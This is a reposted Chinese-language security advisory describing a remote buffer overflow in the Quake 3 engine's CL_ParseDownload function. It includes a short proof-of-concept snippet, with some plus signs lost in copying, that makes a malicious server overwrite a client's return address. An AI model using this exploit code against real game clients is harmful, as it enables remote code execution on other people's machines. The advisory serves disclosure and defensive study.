Quake 3引擎CL_ParseDownload远程缓冲区溢出漏洞
2008-04-09 04:16:22来源:互联网 阅读 ()
发布日期:2006-06-05
更新日期:2006-06-05
受影响系统:
id Software Quake 3 Engine <= 1.32c描述:
Icculus.org Quake 3 <= revision 795
BUGTRAQ ID: 18271
Quake 3引擎是ID Software(http://www.idsoftware.com) 开发的游戏引擎,很多游戏都在使用。
Quake 3引擎对用户命令的处理上存在漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。
Quake 3引擎的code/client/cl_parse.c文件中CL_ParseDownload函数用于处理从服务器接收的下载命令(svc_download)。这个函数使用服务器发送的有符号16位数字将网络中的原始数据拷贝到16384(MAX_MSGLEN)字节的数据缓冲区:
void CL_ParseDownload ( msg_t *msg ) {
int size;
unsigned char data[MAX_MSGLEN];
...
size = MSG_ReadShort ( msg );
if (size > 0)
MSG_ReadData( msg, data, size );
...
Quake 3所处理的重组报文最多可为16384字节,但攻击者可通过huffman压缩绕过这个限制,发送特制的svc_download命令触发缓冲区溢出,导致执行任意指令。
<*来源:Luigi Auriemma (aluigi@pivx.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114952707108553&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
// send the gamestate
int i;
MSG_WriteByte( &msg, svc_download );
MSG_WriteShort( &msg, -1 ); // block != 0, for fast return
MSG_WriteShort( &msg, 16384 32 ); // amount of bytes to copy
for(i = 0; i < 16384; i ) { // overwrite the data buffer
MSG_WriteByte(&msg, 0x00); // 0x00 for saving space
}
for(i = 0; i < 32; i ) { // do the rest of the job
MSG_WriteByte(&msg, 'a'); // return address: 0x61616161
}
SV_SendMessageToClient( &msg, client );
return;
建议:
厂商补丁:
id Software
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.idsoftware.com/
Icculus.org
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.icculus.org/quake3/
标签:
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有
IDC资讯: 主机资讯 注册资讯 托管资讯 vps资讯 网站建设
网站运营: 建站经验 策划盈利 搜索优化 网站推广 免费资源
网络编程: Asp.Net编程 Asp编程 Php编程 Xml编程 Access Mssql Mysql 其它
服务器技术: Web服务器 Ftp服务器 Mail服务器 Dns服务器 安全防护
软件技巧: 其它软件 Word Excel Powerpoint Ghost Vista QQ空间 QQ FlashGet 迅雷
网页制作: FrontPages Dreamweaver Javascript css photoshop fireworks Flash